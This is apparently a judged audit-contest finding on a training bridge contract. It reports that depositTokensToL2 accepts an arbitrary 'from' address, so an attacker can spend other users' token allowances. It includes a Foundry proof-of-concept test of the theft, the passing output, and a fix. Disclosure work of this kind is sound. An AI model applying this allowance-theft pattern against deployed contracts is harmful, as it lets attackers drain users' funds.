First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Front running `L1BossBridge::depositTokensToL2` allows hacker to steal user's funds

wafflemakr

Summary

Front running L1BossBridge::depositTokensToL2 allows hacker to steal user's funds.

Vulnerability Details

L1BossBridge::depositTokensToL2 has an arbitrary from function param. Users that have previously given allowance to the L1BossBridge when interacting with the protocol will be at risk, as a malicious user can pass any address with allowance as the from param, successfully transferring funds from the user to the vault.

The exploit scenario will be as follows:

  • Alice approves L1BossBridge to spend her ERC20 tokens

  • Hacker calls L1BossBridge::depositTokensToL2 with from = alice and l2Recipient = hacker, front running Alice's deposit.

  • Off-chain service picks up this Deposit event and mints L2 tokens to hacker.

  • Hacker then calls L1BossBridge::withdrawTokensToL1, finally stealing tokens deposited from Alice's address;

Proof of Concept

function testAttackerFrontRunsDeposit() public {
// user makes wants to make a deposit
vm.startPrank(user);
uint256 amount = 10e18;
token.approve(address(tokenBridge), amount);
​
assertEq(token.balanceOf(hacker), 0);
​
// Hacker front runs the deposit and makes use of the allowance given by user
vm.startPrank(hacker);
vm.expectEmit(address(tokenBridge));
emit Deposit(user, hacker, amount);
tokenBridge.depositTokensToL2(user, hacker, amount);
vm.stopPrank();
​
// user's deposit will revert
vm.startPrank(user);
vm.expectRevert(abi.encodeWithSelector(IERC20Errors.ERC20InsufficientAllowance.selector, address(tokenBridge), 0, amount));
tokenBridge.depositTokensToL2(user, userInL2, amount);
vm.stopPrank();
​
// Hacker can then call `withdrawTokensToL1` and steal user's deposited funds
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(hacker, amount), operator.key);
tokenBridge.withdrawTokensToL1(hacker, amount, v, r, s);
assertEq(token.balanceOf(hacker), amount);
}

Output when running PoC

forge test --mt testAttackerFrontRunsDeposit -vvv
[⠒] Compiling...
No files changed, compilation skipped
​
Running 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] testAttackerFrontRunsDeposit() (gas: 74435)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.47ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Critical. This vulnerability allows any malicious user to steal user's funds. Additionally, users that give unlimited approval to the L1TokenBridge are at risk of losing all funds from their wallets.

Tools Used

  • Manual Review

  • Foundry

Recommendations

Remove from input function param, and use msg.sender in safeTransferFrom

function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
+ token.safeTransferFrom(msg.sender, address(vault), amount);
​
// Our off-chain service picks up this event and mints the corresponding tokens on L2
emit Deposit(msg.sender, l2Recipient, amount);
}
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

wafflemakr Submitter
almost 2 years ago
wafflemakr Submitter
almost 2 years ago
0xnevi Lead Judge
almost 2 years ago
0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1(): No check for deposits amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.